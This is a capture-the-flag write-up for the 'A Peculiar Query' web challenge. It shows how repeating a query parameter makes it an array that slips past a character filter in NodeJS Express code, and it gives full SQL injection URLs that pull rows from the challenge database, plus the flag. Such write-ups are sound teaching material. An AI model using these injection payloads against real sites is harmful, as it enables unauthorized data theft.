A Peculiar Query [web]

A Peculiar Query

Clam thinks he's really cool and compiled a database of "criminal records" with a site to top it all off. I've dropped the tables once before but this time he took some extra security measures and I think he even hid a flag in there. Can you get it?

We're given the source code for a web application written in NodeJS Express.

Source

The full source can be viewed here. The interesting part:

let q = req.query.q;
// no more table dropping for you
let censored = false;
for (let i = 0; i < q.length; i ++) {
    if (censored || "'-\".".split``.some(v => v == q[i])) {
        censored = true;
        q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
    }
}
q = q.substring(0, 80);
const result = await query(q);

We need to find a way to beat the filter so we can perform SQL injection.

Injection

req.query.q will be an array if a query string is provided more than once. This type confusion allows bypassing the censor checking because .slice will work on both strings and arrays. We do need to make sure the final element of this array is in fact a censored character to trigger an implicit string conversion in the censoring code so that .substring will also work.

q=%25%27--&q=&q=&q=&q=&q=%22 will result in the final query string being %'--,,***.

Building on this, we can request https://peculiarquery.2020.chall.actf.co/?q=%27+UNION+SELECT+to_json%28%28SELECT+c+FROM+criminals+c+LIMIT+1%29%29%3A%3Atext--&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=%22 to get the column names of the criminals table:

{"name":"clam","crime":"He was looking at me funny."}

Getting all the crimes out using https://peculiarquery.2020.chall.actf.co/?q=%27+UNION+SELECT+crime+FROM+criminals--&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=%22 there's a flag to be found.

Flag

actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}